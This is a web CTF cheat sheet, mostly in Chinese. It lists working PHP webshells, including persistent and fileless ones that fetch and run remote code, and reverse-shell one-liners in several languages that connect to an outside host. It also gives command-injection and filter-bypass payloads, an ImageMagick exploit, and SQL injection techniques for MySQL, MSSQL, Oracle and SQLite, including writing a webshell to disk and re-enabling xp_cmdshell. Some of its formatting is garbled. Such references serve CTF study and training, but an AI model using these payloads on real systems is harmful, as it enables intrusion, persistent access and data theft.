WEB CTF CheatSheet

Table of Contents

Webshell

```
<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>

<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")

<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")

<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id

<?php @include($_FILES['u']['tmp_name']);
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="mul
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906

<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")

echo "{${phpinfo()}}";

echo "${system(ls)}";

echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc=   =>  cat  flag

echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shel
```

```
// cat shell.php
// <?php echo 'A PHP Test ';" ?>

echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話

<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>

<?php
// 無回顯後門
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>

<?=
// 沒有英數字的webshell
$□ = '[[[[@@' ^ '("(/%-';
$□(('@@['^'#!/')." /????");


A=fl;B=ag;cat $A$B
```

webshell駐留記憶體

解法：restart

```
<?php
    ignore_user_abort(true);  // 忽略連線中斷
    set_time_limit(0);  // 設定無執行時間上限
    $file = 'shell.php';
    $code = '<?php eval($_POST[a]);?>';
    while(md5(file_get_contents($file)) !== md5($code)) {
        if(!file_exists($file)) {
            file_put_contents($file, $code);
        }
        usleep(50);
    }
?>
```

無文件webshell

解法：restart

```
<?php
    unlink(__FILE__);
    ignore_user_abort(true);
    set_time_limit(0);
    $remote_file = 'http://xxx/xxx.txt';
    while($code = file_get_contents($remote_file)){
        @eval($code);
        sleep(5);
    };

?>
```

Reverse Shell

- 本機Listen Port
    - `ncat -vl 5566`
- Perl
    - `perl -e 'use Socket;$i="kaibro.tw"; $p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp "));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S") ;exec("/bin/sh -i");};'`
- Bash
    - `bash -i >& /dev/tcp/kaibro.tw/5566 0>&1`
    - `bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'`
    - `0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196`
- PHP
    - `php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'`
- NC
    - `nc -e /bin/sh kaibro.tw 5566`
- Python
    - `python -c 'import`

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,sock
et.SOCK_STREAM);s.connect(("kaibro.tw",
5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

- Node.js
  - `var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});`
  - `require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");`

PHP Tag

- `<? ?>`
  - short_open_tag 決定是否可使用短標記
  - 或是編譯php時 --enable-short-tags
- `<?=`
  - 等價 `<?` echo
  - 自PHP 5.4.0起，always work!
- `<% %>`、`<%=`
  - 自PHP 7.0.0起，被移除
  - 須將asp_tags設成On
- `<script language="php"`
  - 自PHP 7.0.0起，被移除
  - `<script language="php">system("id"); </script>`

PHP Weak Type

- `var_dump('0xABCdef' == ' 0xABCdef');`
  - true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
- `var_dump('0010e2' == '1e3');`
  - true
- `strcmp([],[])`
  - 0
- `sha1([])`
  - NULL
- `'123' == 123`
- `'abc' == 0`

- '123a' == 123
- '0x01' == 1
  - PHP 7.0後，16進位字串不再當成數字
  - e.g var_dump('0x01' == 1) => false
- '' == 0 == false == NULL
- md5([1,2,3]) == md5([4,5,6]) == NULL
  - 可用在登入繞過 (用戶不存在，則password為NULL)
- var_dump(md5(240610708));
  - 0e462097431906509019562988736854
- var_dump(sha1(10932435112));
  - 0e07766915004133176347055865026311692244
- $a="123"; $b="456"
  - $a + $b == "579";
  - $a . $b == "123456"
- $a = 0; $b = 'x';
  - $a == false => true
  - $a == $b => true
  - $b == true => true
- $a = 'a'
  - ++$a => 'b'
  - $a+1 => 1

PHP 其他特性

Overflow

- 32位元
  - intval('1000000000000') => 2147483647
- 64位元
  - intval('10000000000000000000') => 9223372036854775807

浮點數精度

- php -r "var_dump(1.000000000000001 == 1);"
  - false
- php -r "var_dump(1.0000000000000001 == 1);"
  - true
- $a = 0.1 * 0.1; var_dump($a == 0.01);

    - false

ereg會被NULL截斷

- var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
    - 1
- ereg和eregi在PHP 7.0.0.已經被移除

intval

- 四捨五入
    - var_dump(intval('5278.8787'));
        - 5278
- intval(012) => 10
- intval("012") => 12

extract變數覆蓋

- extract($_GET);
    - .php?_SESSION[name]=admin
    - echo $_SESSION['name'] => 'admin'

trim

- 會把字串前後的空白(或其他字元)去掉
- 未指定第二參數，預設會去掉以下字元
    - " " (0x20)
    - "\t" (0x09)
    - "\n" (0x0A)
    - "\x0B" (0x0B)
    - "\r" (0x0D)
    - "\0" (0x00)
- 可以發現預設不包含"\f" (0x0C)
    - 比較：is_numeric()允許\f在開頭
- 如果參數是unset或空的變數，回傳值是空字串

is_numeric

- is_numeric(" \t\r\n 123") => true
- is_numeric(' 87') => true
- is_numeric('87 ') => false
- is_numeric(' 87 ') => false
- is_numeric('0xdeadbeef')

    - PHP >= 7.0.0 => false
    - PHP < 7.0.0 => true
    - 可以拿來繞過注入
- 以下亦為合法(返回True)字串:
    - ' -.0'
    - '0.'
    - ' +2.1e5'
    - ' -1.5E+25'
    - '1.e5'

in_array

- in_array('5 or 1=1', array(1, 2, 3, 4, 5))
    - true
- in_array('kaibro', array(0, 1, 2))
    - true
- in_array(array(), array('kai'=>false))
    - true
- in_array(array(), array('kai'=>null))
    - true
- in_array(array(), array('kai'=>0))
    - false
- in_array(array(), array('kai'=>'bro'))
    - false
- in_array('kai', array('kai'=>true))
    - true
- in_array('kai', array('kai'=>'bro'))
    - false
- in_array('kai', array('kai'=>0))
    - true
- in_array('kai', array('kai'=>1))
    - false

array_search

- mixed array_search(mixed $needle , array $haystack [, bool $strict = false])
    - 在haystack陣列中，搜尋needle的值，成功則返回index，失敗返回False
- $strict為false時，採用不嚴格比較
    - 預設是False
- Example
    - $arr=array(1,2,0); var_dump(array_search('kai', $arr))
        - int(2)
    - $arr=array(1,2,0); var_dump(array_search('1', $arr))
        - int(0)

parse_str

- parse_str(string, array)
- 會把查詢字串解析到變數中
- 如果未設置第二個參數，會解析到同名變數中
  - PHP7.2中不設置第二個參數會產生E_DEPRECATED警告
- parse_str('gg[kaibro]=5566');

  ``` array(1) { ["kaibro"]=> string(4) "5566" }

  ``` - PHP變數有空格和.，會被轉成底線

  ``` parse_str("na.me=kaibro&pass wd=ggininder",$test); var_dump($test);

  array(2) { ["na_me"]=> string(6) "kaibro" ["pass_wd"]=> string(9) "ggininder" } ```

# parse_url

- 在處理傳入的URL會有問題
- parse_url('/a.php?id=1')

  array(2) { ["host"]=> string(5) "a.php" ["query"]=> string(4) "id=1" } - parse_url('//a/b') - host: a - parse_url('..//a/b/c:80') - host: .. - port: 80 - path: //a/b/c:80 - parse_url('///a.php?id=1') - false
- parse_url('/a.php?id=1:80')
  - PHP < 7.0.0
    - false
  - PHP >= 7.0.0 array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" }
- parse_url('http://kaibro.tw:87878')
  - 5.3.X版本以下 php array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }
  - 其他： false

# preg_replace

- mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  - 搜尋$subject中匹配的$pattern，並用$replacement替換
- 第一個參數用/e修飾符，$replacement會被當成PHP code執行
  ```

- 必須有匹配到才會執行
- PHP 5.5.0起，會產生E_DEPRECATED錯誤
- PHP 7.0.0不再支援，用preg_replace_callback()代替

example:

```
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
```

sprintf / vprintf

- 對格式化字串的類型沒檢查
- 格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
  - 例如%\、%'、%1$\'
  - 在某些SQLi過濾狀況下，%' and 1=1#中的單引號會被轉義成\'，%\又會被吃掉，'成功逃逸
  - 原理：sprintf實作是用switch...case...
    - 碰到未知類型，default不處理

file_put_contents

- 第二個參數如果是陣列，PHP會把它串接成字串
- example: php <?php $test = $_GET['txt'];
  if(preg_match('[<>?]', $test)) die('bye');
  file_put_contents('output', $test);
  - 可以直接?txt[]=<?php phpinfo(); ?>寫入

spl_autoload_register

- spl_autoload_register()可以自動載入Class
- 不指定參數，會自動載入.inc和.php
- Example:
  - 如果目錄下有kaibro.inc，且內容為class Kaibro{...}
  - 則spl_autoload_register()會把這個Class載入進來

路徑正規化

- a.php/.
  - file_put_contents("a.php/.", "<?php phpinfo() ?>");

        - 可成功寫入
            - 經測試Windows可以覆寫、Linux無法
        - 可以繞過一些正規表達式判斷
    - `file_get_contents("a.php/.");`
        - 經測試Windows下可成功讀、Linux無法
    - 還有很多其他function也適用
- `" => .`
    - `a"php`
- `> => ?`
    - `a.p>p`
    - `a.>>>`
- `< => *`
    - `a.<`

URL query decode

- `$_GET`會對傳入的參數做URLdecode再返回
- `$_SERVER['REQUEST_URI']`和`$_SERVER['QUERY_STRING']`則是直接返回

Example:

Request: `http://kaibro.tw/test.php?url=%67%67`

- `$_GET: [url] => gg`
- `$_SERVER['REQUEST_URI']: /test.php?url=%67%67`
- `$_SERVER['QUERY_STRING']: url=%67%67`

OPcache

- 透過將PHP腳本編譯成Byte code的方式做Cache來提升性能
- 相關設定在php.ini中
    - `opcache.enable` 是否啟用
    - `opcache.file_cache` 設定cache目錄
        - 例如:`opcache.file_cache="/tmp/opcache"`
        - `/var/www/index.php`的暫存會放在`/tmp/opcache/[system_id]/var/www/index.php.bin`
    - `opcache.file_cache_only` 設定cache文件優先級
    - `opcache.validate_timestamps` 是否啟用timestamp驗證
- `system_id`是透過Zend和PHP版本號計算出來的，可以確保相容性
- 所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell

    - system_id要和目標機器一樣
    - timestamp要一致
- https://github.com/GoSecure/php7-opcache-override
    - Disassembler可以把Byte code轉成Pseudo code

PCRE回溯次數限制繞過

- PHP的PCRE庫使用NFA作為正規表達式引擎
    - NFA在匹配不上時，會回溯嘗試其他狀態
- PHP為防止DOS，設定了PCRE回溯次數上限
    - `pcre.backtrack_limit`
    - 預設為`1000000`
- 回溯次數超過上限時，`preg_match()`會返回`false`
- Example
    - Code-Breaking Puzzles - pcrewaf

其他

- 大小寫不敏感
    - `<?PhP sYstEm(ls);`
- `echo (true ? 'a' : false ? 'b' : 'c');`
    - `b`
- `echo `whoami`;`
    - `kaibro`
- 正規表達式`.`不匹配換行字元`%0a`
- 運算優先權問題
    - `$a = true && false;`
        - `$a => false`
    - `$a = true and false;`
        - `$a => true`
- chr()
    - 大於`256`會mod `256`
    - 小於`0`會加上`256`的倍數，直到`>0`
    - Example:
        - `chr(259) === chr(3)`
        - `chr(-87) === chr(169)`
- 遞增
    - `$a="9D9"; var_dump(++$a);`
        - `string(3) "9E0"`

    - `$a="9E0"; var_dump(++$a);`
        - `float(10)`
- 算數運算繞Filter
    - `%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f`
        - `system`
        - 可用在限制不能出現英數字時 or 過濾某些特殊符號
    - `$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');`
        - `assert`
    - 其他
        - ~, ++等運算，也都可用類似概念構造
- 花括號
    - 陣列、字串元素存取可用花括號
    - `$array{index}`同`$array[index]`
- filter_var
    - `filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)`
        - False
    - `filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)`
        - True
- json_decode
    - 不直接吃換行字元和\t字元
    - 但可以吃'\n'和'\t'
        - 會轉成換行字元和Tab
    - 也吃\uxxxx形式
        - `json_decode('{"a":"\u0041"}')`
- `===` bug
    - `var_dump([0 => 0] === [0x100000000 => 0])`
        - 某些版本會是True
        - ASIS 2018 Qual Nice Code
    - https://3v4l.org/sUEMG
- openssl_verify
    - 預測採用SHA1來做簽名，可能有SHA1 Collision問題
    - DEFCON CTF 2018 Qual

Command Injection

```
| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`

. flag
PS1=$(cat flag)

`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /
```

? and *

- ? match one character
    - `cat fl?g`
    - `/???/??t /???/p??s??`
- * match 多個
    - `cat f*`
    - `cat f?a*`

空白繞過

- ${IFS}
    - `cat${IFS}flag`
    - `ls$IFS-alh`
    - `cat$IFS$2flag`
- `cat</etc/passwd`
- `{cat,/etc/passwd}`
- `X=$'cat\x20/etc/passwd'&&$X`
- `IFS=,;`cat<<<uname,-a``
    - bash only

Keyword繞過

- String Concat
    - `A=fl;B=ag;cat $A$B`
- Empty Variable
    - `cat fl${x}ag`

        - cat tes$(z)t/flag
    - Environment Variable
        - $PATH => "/usr/local/….blablabla”
            - ${PATH:0:1} => '/'
            - ${PATH:1:1} => 'u'
            - ${PATH:0:4} => '/usr'
        - ${PS2}
            - >
        - ${PS4}
            - +
    - Empty String
        - cat fl""ag
        - cat fl''ag
            - cat "fl""ag"
    - 反斜線
        - c\at fl\ag

ImageMagick (ImageTragick)

- CVE-2016-3714
- mvg格式包含https處理(使用curl下載)，可以閉合雙引號
- payload:

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context
```

Ruby Command Executing

- open("| ls")
- IO.popen("ls").read
- Kernel.exec("ls")
- `ls`
- system("ls")
- eval("ruby code")
    - Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
        - $$/$$ => 1
        - '' << 97 << 98 << 99 => "abc"
        - $:即$LOAD_PATH
- exec("ls")
- %x{ls}
- Net::FTP

- CVE-2017-17405
- use Kernel#open

Python Command Executing

- os.system("ls")
- os.popen("ls").read()
- os.execl("/bin/ls","")
- os.execlp("ls","")
- os.execv("/bin/ls",[''])
- os.execvp("/bin/ls",[""])
- subprocess.call("ls")
    - subprocess.call("ls|cat",shell=False) => Fail
    - subprocess.call("ls|cat",shell=True) => Correct
- eval("__import__('os').system('ls')")
- exec("__import__('os').system('ls')")
- commands.getoutput('ls')

Read File

- diff /etc/passwd /flag
- paste /flag
- bzmore /flag
- bzless /flag
- static-sh /flag
- ...

SQL Injection

MySQL

- 子字串：
    - substr("abc",1,1) => 'a'
    - mid("abc", 1, 1) => 'a'
- Ascii function
    - ascii('A') => 65
- Char function
    - char(65) => 'a'
- Concatenation
    - CONCAT('a', 'b') => 'ab'
        - 如果任何一欄為NULL，則返回NULL
    - CONCAT_WS(分隔符, 字串1, 字串2...)
        - CONCAT_WS('@', 'gg', 'inin') => gg@inin
- Cast function
    - CAST('125e342.83' AS signed) => 125
    - CONVERT('23',SIGNED) => 23
- Delay function

    - sleep(5)
    - BENCHMARK(count, expr)
- 空白字元
    - 09 0A 0B 0C 0D A0 20
- File-read function
    - LOAD_FILE('/etc/passwd')
- File-write
    - INTO DUMPFILE
        - 適用binary (寫入同一行)
    - INTO OUTFILE
        - 適用一般文本 (有換行)
    - 寫webshell
        - 需知道可寫路徑
        - UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
    - 權限
        - SELECT file_priv FROM mysql.user
    - secure-file-priv
        - 限制MySQL導入導出
            - load_file, into outfile等
        - 運行時無法更改
        - MySQL 5.5.53前，該變數預設為空(可以導入導出)
        - e.g. secure_file_priv=E:\
            - 限制導入導出只能在E:\下
        - e.g. secure_file_priv=null
            - 限制不允許導入導出
        - secure-file-priv限制下用general_log拿shell ``` SET global general_log='on';

        SET global general_log_file='C:/phpStudy/WWW/cmd.php';

        SELECT '<?php assert($_POST["cmd"]);?>'; `` - IF語句 - IF(condition,true-part,false-part) -SELECT IF(1=1,'true','false')- Hex -SELECT X'5061756c'; => paul-SELECT 0x5061756c; => paul-SELECT 0x5061756c+0 => 1348564332-SELECT load_file(0x2F6574632F706173737764);- /etc/passwd - 可繞過一些WAF - e.g. 用在不能使用單引號時('=>\') - CHAR()也可以達到類似效果 -'admin'=>CHAR(97, 100, 109, 105, 110)- 註解： -#----//- *一個/可以閉合前面多個/-/! 50001 select * from test /*- 可探測版本 - e.g.SELECT

/!32302 1/0, / 1 FROM tablename- - MySQL <= 5.5 - ; - PDO支援多語句 - information_schema - mysql >= 5.0 - Stacking Query - 預設PHP +MySQL不支援Stacking Query - 但PDO可以Stacking Query - 其它： - @@version - 同version() - user() - current_user - current_user() - current user - system_user() - database system user - database() - schema() - current database - @@basedir - MySQL安裝路徑 - @@datadir - Location of db file - @@hostname - @@version_compile_os - Operating System - @@innodb_version - MD5() - SHA1() - COMPRESS() / UNCOMPRESS() - group_concat() - 合併多條結果 - e.g. `select group_concat(username) from users;` 一次返回所有使用者名 - greatest() - `greatest(a, b)`返回a, b中最大的 - `greatest(1, 2)=2` - 1 - `greatest(1, 2)=1` - 0 - between a and b - 介於a到b之間 - `greatest(1, 2) between 1 and 3` - 1 - regexp - `SELECT 'abc' regexp '.*'` - 1 - Collation - `*_ci` case insensitive collation 不區分大小寫 - `*_cs` case sensitive collation 區分大小寫 - `*_bin` binary case sensitive collation 區分大小寫

- Union Based
  - 判斷column數
    - `union select 1,2,3...N`
    - `order by N` 找最後一個成功的N
  - `AND 1=2 UNION SELECT 1, 2, password FROM admin--+`
  - `LIMIT N, M` 跳過前N筆，抓M筆
  - 爆資料庫名
    - `union select 1,2,schema_name from information_schema.schemata limit 1,1`
  - 爆表名
    - `union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1`
    - `union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1`
  - 爆Column名
    - `union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1`
  - MySQL User
    - `SELECT CONCAT(user, ":" ,password) FROM mysql.user;`
- Error Based

- 長度限制
  - 錯誤訊息有長度限制
  - #define ERRMSGSIZE (512)
- Overflow
  - MySQL > 5.5.5 overflow才會有錯誤訊息
  - SELECT ~0 => 18446744073709551615
  - SELECT ~0 + 1 => ERROR
  - SELECT exp(709) => 8.218407461554972e307
  - SELECT exp(710) => ERROR
  - 若查詢成功，會返回0
    - SELECT exp(~(SELECT * FROM (SELECT user())x));
    - ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
  - select (select(!x-~0)from(select(select user())x)a);
    - ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
    - MySQL > 5.5.53 不會顯示查詢結果
- xpath
  - extractvalue (有長度限制，32位)
    - select extractvalue(1,concat(0x7e,(select @@version),0x7e));
    - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
  - updatexml (有長度限制，32位)
    - select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
    - ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- 主鍵重複
  - select count(*) from test group by concat(version(),floor(rand(0)*2));
    - ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
- 其它函數 (5.7)
  - select ST_LatFromGeoHash(version());
  - select ST_LongFromGeoHash(version());
  - select GTID_SUBSET(version(),1);
  - select GTID_SUBTRACT(version(),1);
  - select ST_PointFromGeoHash(version(),1);
- 爆庫名、表名、字段名
  - 當過濾information_schema等關鍵字時，可以用下面方法爆庫名
    - select 1,2,3 from users where 1=abc();
      - ERROR 1305 (42000): FUNCTION fl4g.abc does not exist

        - 爆表名
            - select 1,2,3 from users where Polygon(id);
            - select 1,2,3 from users where linestring(id);
                - ERROR 1367 (22007): Illegal non geometric '``fl4g`.`users`.`id`' value found during parsing
        - 爆Column
            - select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
                - ERROR 1060 (42S21): Duplicate column name 'id'
            - select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
                - ERROR 1060 (42S21): Duplicate column name 'username'
- Blind Based (Time/Boolean)
    - Boolean
        - 「有」跟「沒有」
        - id=87 and length(user())>0
        - id=87 and length(user())>100
        - id=87 and ascii(mid(user(),1,1))>100
        - id=87 or ((select user()) regexp binary '^[a-z]')
    - Time
        - 用在啥結果都看不到時
        - id=87 and if(length(user())>0, sleep(10), 1)=1
        - id=87 and if(length(user())>100, sleep(10), 1)=1
        - id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
- 繞過空白檢查
    - id=-1/**/UNION/**/SELECT/**/1,2,3
    - id=-1%09UNION%0DSELECT%0A1,2,3
    - id=(-1)UNION(SELECT(1),2,3)
- 寬字節注入
    - addslashes()會讓'變\'
    - 在GBK編碼中，中文字用兩個Bytes表示
        - 其他多字節編碼也可
        - 但要低位範圍有包含0x5c(\)
    - 第一個Byte要>128才是中文
    - %df' => %df\' => 運' (成功逃逸)
- Order by注入

- 可以透過asc、desc簡單判斷
  - ?sort=1 asc
  - ?sort=1 desc
- 後面不能接UNION
- 已知字段名 (可以盲注)
  - ?order=IF(1=1, username, password)
- 利用報錯
  - ?order=IF(1=1,1,(select 1 union select 2)) 正確
  - ?order=IF(1=2,1,(select 1 union select 2)) 錯誤
  - ?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常
  - ?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤
- Time Based
  - ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常
  - ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

- group by with rollup
  - ' or 1=1 group by pwd with rollup limit 1 offset 2#

- 將字串轉成純數字
  - 字串 -> 16進位 -> 10進位
  - conv(hex(YOUR_DATA), 16, 10)
  - 還原：unhex(conv(DEC_DATA,10,16))
  - 需注意不要Overflow

- 不使用逗號
  - LIMIT N, M => LIMIT M OFFSET N
  - mid(user(), 1, 1) => mid(user() from 1 for 1)
  - UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)

- 快速查找帶關鍵字的表
  - select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');

- innodb
  - 表引擎為innodb
  - MySQL > 5.5
  - innodb_table_stats、innodb_table_index存放所有庫名表名
  - `select table_name from mysql.innodb_table_stats where database_name=資料庫名;`
  - Example: Codegate2018 prequal - simpleCMS
- Bypass WAF
  - `select password => SelEcT password` (大小寫)
  - `select password => select/**/password` (繞空白)
  - `select password => s%65lect%20password` (URLencode)
  - `select password => select(password)` (繞空白)
  - `select password => select%0apassword` (繞空白)
    - %09, %0a, %0b, %0c, %0d, %a0
  - `select password from admin => select password /*!from*/ admin` (MySQL註解)
  - `information_schema.schemata => ``information_schema``.schemata` (繞關鍵字/空白)
    - `select xxx from``information_schema``.schemata`
  - `select pass from user where id='admin' => select pass from user where id=0x61646d696e` (繞引號)
    - `id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))`
  - `?id=0e2union select 1,2,3` (科學記號)
    - `?id=1union select 1,2,3`會爛
    - `?id=0e1union(select~1,2,3)` (~)
    - `?id=.1union select 1,2,3` (點)
  - `WHERE => HAVING` (繞關鍵字)
  - `AND => &&` (繞關鍵字)
    - `OR => ||`
    - `= => LIKE`
    - `a = 'b' => not a > 'b' and not a < 'b'`
    - `> 10 => not between 0 and 10`
  - `LIMIT 0,1 => LIMIT 1 OFFSET 0` (繞逗號)
    - `substr('kaibro',1,1) => substr('kaibro' from 1 for 1)`
  - Multipart/form-data繞過
    - http://xdxd.love/2015/12/18/%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf/

- 偽造User-Agent
  - e.g. 有些WAF不封google bot

MSSQL

- 子字串：
  - SUBSTRING("abc", 1, 1) => 'a'
- Ascii function
  - ascii('A') => 65
- Char function
  - char(65) => 'a'
- Concatenation
  - +
  - 'a'+'b' => 'ab'
- Delay function
  - WAIT FOR DELAY '0:0:10'
- 空白字元
  - 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,
    10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
- IF語句
  - IF condition true-part ELSE false-part
  - IF (1=1) SELECT 'true' ELSE SELECT 'false'
- 註解：
  - --
  - /**/
- TOP
  - MSSQL沒有LIMIT N, M的用法
  - SELECT TOP 87 * FROM xxx 取最前面87筆
  - 取第78～87筆
    - SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
- 其它：
  - db_name()
  - user_name()
  - @@servername
  - host_name()
- 爆DB name
  - DB_NAME(N)
  - UNION SELECT NULL,DB_NAME(N),NULL--
  - UNION SELECT NULL,name,NULL FROM master ..sysdatabases--
  - SELECT catalog_name FROM information_schema.schemata
  - 1=(select name from master.dbo.sysdatabases where dbid=5)

- 爆表名
    - SELECT table_catalog, table_name FROM information_schema.tables
    - SELECT name FROM sysobjects WHERE xtype='U'
    - ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--
- 爆column
    - SELECT table_catalog, table_name, column_name FROM information_schema.columns
    - SELECT name FROM syscolumns WHERE id=object_id('news')
    - ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
- Union Based
    - Column型態必須相同
    - 可用NULL來避免
- Error Based
    - 利用型別轉換錯誤
    - id=1 and user=0
- 判斷是否站庫分離
    - 客戶端主機名：select host_name();
    - 服務端主機名：select @@servername;
    - 兩者不同即站庫分離
- xp_cmdshell
    - 在MSSQL 2000默認開啟
    - MSSQL 2005之後默認關閉
    - 有sa權限，可透過sp_configure重啟它

  EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE - 關閉xp_cmdshell

  EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure'xp_cmdshell', 0; RECONFIGURE;
- 快速查找帶關鍵字的表
    - SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON

```
sysobjects.id = syscolumns.id WHERE sysobjects.xtype =
'U' AND (syscolumns.name LIKE '%pass%' or
syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE
'%first%');
```

- Unicode繞過
  - IIS 對 Unicode 編碼是可以解析的，即 s%u0065lect 會被解析為 select

Oracle

- SELECT語句必須包含FROM
  - 用dual表
- 子字串：
  - SUBSTR("abc", 1, 1) => 'a'
- 空白字元
  - 00 0A 0D 0C 09 20
- IF語句
  - IF condition THEN true-part [ELSE false-part] END IF
- 註解：
  - --
- 其它
  - SYS.DATABASE_NAME
    - current database
  - USER
    - current user
  - SELECT banner FROM v$version where rownum=1
    - database version
- 庫名
  - SELECT DISTINCT OWNER FROM ALL_TABLES
- 表名
  - SELECT OWNER, TABLE_NAME FROM ALL_TABLES
- Column
  - SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
- Union Based
  - Column型態必須相同
  - 可用NULL來避免
  - UNION SELECT 1, 'aa', null FROM dual
- Error Based
  - SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1
- Out of band

    - UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1

SQLite

- 子字串：
    - substr(“abc",1,1) => 'a'
- Ascii function:
    - unicode('d') => 100
- legth
    - length('ab') => 2
- Concatenation
    - ||
    - 'a' || 'b' => 'ab'
- Time Delay
    - randomblob(100000000)
- 空白字元
    - 0A 0D 0C 09 20
- Case when
    - SQLite沒有if
    - 可以用Case When ... Then ...代替
    - case when (條件) then ... else ... end
- 註解
    - --
- 爆表名
    - SELECT name FROM sqlite_master WHERE type='table'
- 爆表結構(含Column)
    - SELECT sql FROM sqlite_master WHERE type='table'
- 其他
    - sqlite_version()
    - sqlite無法使用\'跳脫單引號
- Boolean Based: SECCON 2017 qual SqlSRF

Click here to view script

```
# encoding: UTF-8

# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼
require 'net/http'
require 'uri'

$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
